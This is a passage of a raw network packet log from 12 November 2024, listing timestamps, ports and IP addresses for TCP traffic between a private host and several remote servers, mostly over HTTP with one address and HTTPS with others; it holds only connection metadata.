Nov 12, 2024 13:35:34.015197039 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.015372038 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.015384912 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.017565966 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.017577887 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.017615080 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.017623901 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.017642975 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:34.017652988 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.017678022 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:34.017972946 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:34.018867016 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:34.018876076 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:34.043811083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.043878078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.043889999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.043994904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.044025898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.044109106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.044120073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.044136047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.044253111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.044289112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.044332027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.044362068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.046376944 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.093729019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.093861103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.093866110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.094105005 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.145416975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145430088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145441055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145570040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145581961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145593882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145625114 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.145684958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.145684958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.145829916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145966053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.145977974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.146126986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.146210909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.146223068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.146234035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.146301985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.146301985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.150737047 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150759935 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150768042 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150794029 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150808096 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150819063 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150852919 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.150865078 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.150939941 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.151060104 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.161452055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161504984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161518097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161679029 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.161731005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161742926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161755085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.161823988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.161823988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.161976099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.162103891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.162115097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.162134886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.162231922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.162278891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.166605949 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.244173050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.244185925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.244198084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.244286060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.244328976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.245223045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245285034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245295048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245407104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.245407104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.245443106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245455980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245469093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245552063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.245646000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.245723009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245919943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.245929956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.246027946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.246037960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.246046066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.246053934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.246085882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.246427059 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.267791033 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.267811060 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.268068075 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.268091917 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.268228054 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.278872967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.278949976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.278960943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279021025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279187918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279201031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279295921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279325962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279339075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279419899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279419899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279510021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279520988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279577017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279577017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279649973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279679060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279925108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279936075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.279997110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.279997110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.330488920 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.330512047 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.330579042 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.330826998 CET	51620	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.330827951 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.330840111 CET	443	51620	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.330852032 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.330919027 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.331079960 CET	51621	443	192.168.2.6	172.64.41.3
Nov 12, 2024 13:35:34.331094980 CET	443	51621	172.64.41.3	192.168.2.6
Nov 12, 2024 13:35:34.361730099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.361740112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.361886978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.362272024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.362314939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.362461090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.365679026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365778923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365787983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365792990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.365901947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365912914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365923882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365930080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.365942001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.366151094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.366446018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.366458893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.366658926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.366708040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.366981030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.385262012 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.385282040 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.385346889 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.385355949 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.385386944 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.385405064 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.396284103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396341085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396351099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396415949 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.396505117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.396514893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396598101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.396650076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396661043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396671057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.396697998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.396785021 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.397111893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397126913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397351027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397361040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397371054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397382021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397401094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.397747040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397758007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397773027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.397794962 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.397794962 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.397882938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.479748011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.479758978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.479798079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.479825020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.479860067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.479882002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.479924917 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483119011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483169079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483289003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483300924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483321905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483329058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483336926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483351946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483375072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483375072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483477116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483489037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483499050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.483544111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.483556986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.502449989 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.502468109 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.502518892 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.502531052 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.502551079 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.502573967 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.513798952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.513843060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.513854980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.513856888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.513900042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.513900042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514039040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514100075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514122009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514166117 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514297009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514307976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514318943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514336109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514349937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514502048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514626980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514655113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514678955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514736891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514748096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514760017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.514794111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.514836073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.515022039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.515034914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.515080929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.515080929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.515366077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.515427113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.515439034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.515449047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.515489101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.515489101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.597420931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.597436905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.597485065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.597505093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.597543955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.597548962 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.597594976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.600708008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.600784063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.600785017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.600805044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.600831985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.600858927 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.601188898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.601203918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.601211071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.601217031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.601229906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.601311922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.601356983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.619379997 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.619399071 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.619462967 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.619473934 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:34.619513035 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.631302118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631330967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631345987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631396055 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631421089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631449938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631562948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631575108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631625891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631625891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631813049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631829023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631845951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631858110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631858110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.631870985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.631895065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632287025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632350922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632359028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632370949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632394075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632422924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632592916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632605076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632622957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.632632017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632661104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.632668018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.633032084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.633102894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.633115053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.633183956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.633223057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.675728083 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.676301956 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.676322937 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.676717997 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.676724911 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.679470062 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.679933071 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.679970026 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.680320024 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.680326939 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.704096079 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.704550028 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.704574108 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.705003977 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.705013990 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.714993954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.715024948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.715034962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.715080976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.715084076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.715138912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.715334892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.718076944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718130112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.718193054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718241930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.718584061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718674898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718687057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718698025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.718734026 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.718753099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.718974113 CET	80	51556	185.215.113.206	192.168.2.6
